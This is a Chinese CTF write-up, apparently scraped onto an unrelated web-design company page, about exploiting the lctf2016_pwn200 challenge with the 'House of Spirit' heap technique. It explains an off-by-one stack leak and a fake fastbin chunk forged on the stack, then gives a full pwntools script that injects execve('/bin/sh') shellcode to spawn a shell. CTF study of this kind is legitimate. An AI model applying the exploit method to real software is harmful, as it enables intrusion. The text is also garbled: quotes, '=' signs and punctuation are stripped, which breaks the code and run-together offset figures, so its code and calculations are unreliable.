ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

House of Spirit

House of Spirit gegenzgenzeggenzegePWN堆house of spirit-1 | iyheart的博客 跟着这个师傅学的堆这块知识在buuctf中有这道题目lctf2016_pwn200正所谓回头看轻舟已过万重山花了好长时间理解这道题不是这个手法多难恰恰暴露了我在栈帧那块偷懒的问题可不敢在偷懒不巩固了不然费劲巴拉建的又该塌了经过几天的摸索对这个手法以及栈那块内容又有了本质上的提高。具体知识内容我觉得还是看上面哪位师傅的来学习会更好我的就是说一下自己的理解。如果有不对的地方希望大家留言批评指正。首先这个方法限制在fastbin和tcachebin上具体利用就是找一个w(可写)段伪造一个chunk通过free指向这个位置的指针将它链接到fastbin中当我们再次申请相同大小的内存时就可以将这块拿出来使用这个题nx未开所以我们可以直接拿栈来写shellcode从而获得shell。具体的从这道道题里来感受吧。保护上很温柔代码审计上面 main函数只调用了两个一个初始化输入输出这个我们不用管。点进去func0func0函数内部依旧是for循环 每次只读入一个字节读入48个注意v2只有48的空间大小如果将他填满没有换行符\nread将不会结束而紧挨着v2的是rbp的值这么一来printf就会连着rbp一块打印出来 这就是off_by_one漏洞要知道这个是main调用的第一个函数而栈地址是由高向低处增长的 它保存的main返回地址在高位栈帧这块我有点稀里糊涂的请各位好好斟酌一下紧接着调用了func2函数。func2内部他把输入一个最大四位数的值弄成整数存到了v2当中和那个上面v2不同都是局部变量。func0中func2结束紧接着返回func3中func3内部首先嘞dest存有malloc申请的内存地址可是read的最大读入64buf只有56这就导致我们可以覆盖掉dest的地址使它指向我们可以利用的地方ptr也会存入这个我们给他覆盖的地址之后进入func4func4内部printf_w是菜单了这里就是调用in 和out函数。一块来看吧out就是freeptr刚好这个就是我们House of Spirit的一大前提同时让指针为0防止uaf利用重点在in 这里会先让我们输入nbytes的大小随后malloc我们让他和free掉的那个假chunk大小一样就能利用那块空间来写入。下面再次写入时就是写到了我们最初构造的假chunk上了接下来来看gdb环节栈上的理解首先我对程序进行了1. asdfghjklqwertyuiopzxcvbnm123456789012345678901 ------func02. 25 --------------func0里的func23.rtydtyfuytgr65e65r6t6hr45wygu7u5ru ------------------func3看这块栈中内容时下面的反而是最先操作过的这里给它输了47个字符没有触发漏洞 但是不难看出0x7fffffffdd10被存在我们输入完的栈中那我们泄露的栈地址就是他了这个地方不能用来构造 fake_chunk 小是一方面还有一个原因free时会检查下一个chunk的size是否合理不看是否是堆地址。。必须是0x10*n或0x10*n1。那这块栈地址可以说是高地址了 再往上咱也不可控了只能往低处看了紧跟着的上面有个0x19的字样 这就是我们当时输入的25哦吼这块我们可以控制那么我们让它来充当我们fake_chunk的下一个chunk的size不就好了主要就是为了绕过free的检查。。再往上就是我们第三次输入了 0x38 剩0x8来覆盖指针而当我们使用编写shellcoode时dest和rbp都可以用来覆盖即使 prive_size和size不被用也还是有0x38大小可以用然后来看偏移量的计算fake_chunk 头部在直dc50 prive_size) ,dc58(size) 所以ptr应该指向的是0xdc60从user_date开始当它free是fastbin会将这块自动用fd链接再次malloc时就是直接从这里当作用户数据来写了 泄露出来的是0xdd10-0xb00xd60那么这个的size该是多少呢必然得和 next_chunk 的size关联起来啦 0xcb0就是next_chunk的初始地址那么0xcb0-0xc500x60 这样就知道size大小了但是最后一位p 要为1 防止free后与其他空闲堆块合并 所以构造时 size为0x61pay1p64(0x0)p64(0x61)ba*0x28p64(stack-0xb0)注意size只整个chunk大小 malloc时是不包括头部的所以后面对nbytes赋值时应该是0x50.from pwn import * context(archamd64,oslinux,log_leveldebug) pprocess(./pwn200) a asm( mov rbx,0x0068732f6e69622f push rbx mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,59 syscall ) shellcodeasm(shellcraft.sh()) slen(shellcode) print(s) p.sendafter(bu?\n,baaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa) p.recvuntil(blaaa) #stackp.recvline() stacku64(p.recv(6).ljust(8,b\x00)) print(stack) #addrint.from_bytes(stack[0:6],little) print(hex(stack)) p.sendlineafter(bgive me your id ~~?\n,b48) pay1p64(0x0)p64(0x61)ba*0x28p64(stack-0xb0) p.sendafter(bgive me money~\n,pay1) #p.sendlineafter(bgoodbye\nyour choice : ,b1) p.sendlineafter(bgoodbye\nyour choice : ,b2) p.recvuntil(bout~\n) p.sendlineafter(bgoodbye\nyour choice : ,b1) p.sendlineafter(bhow long?\n,b80) payloada.ljust(0x38,ba)p64(stack-0xb0) //这块我们虽然是在in里的read但要注意此时写入的地址就是malloc0x40那个函数的栈空间所以覆盖返回地址是0x38上面讲了的 p.sendafter(b80\n,payload) p.sendlineafter(bgoodbye\nyour choice : ,b3) p.interactive()shellcraft生成的就一直打不通所以也是用那个师傅手编的可以打通。师傅写的那个29 生成的是48。以下是解决方法。
返回列表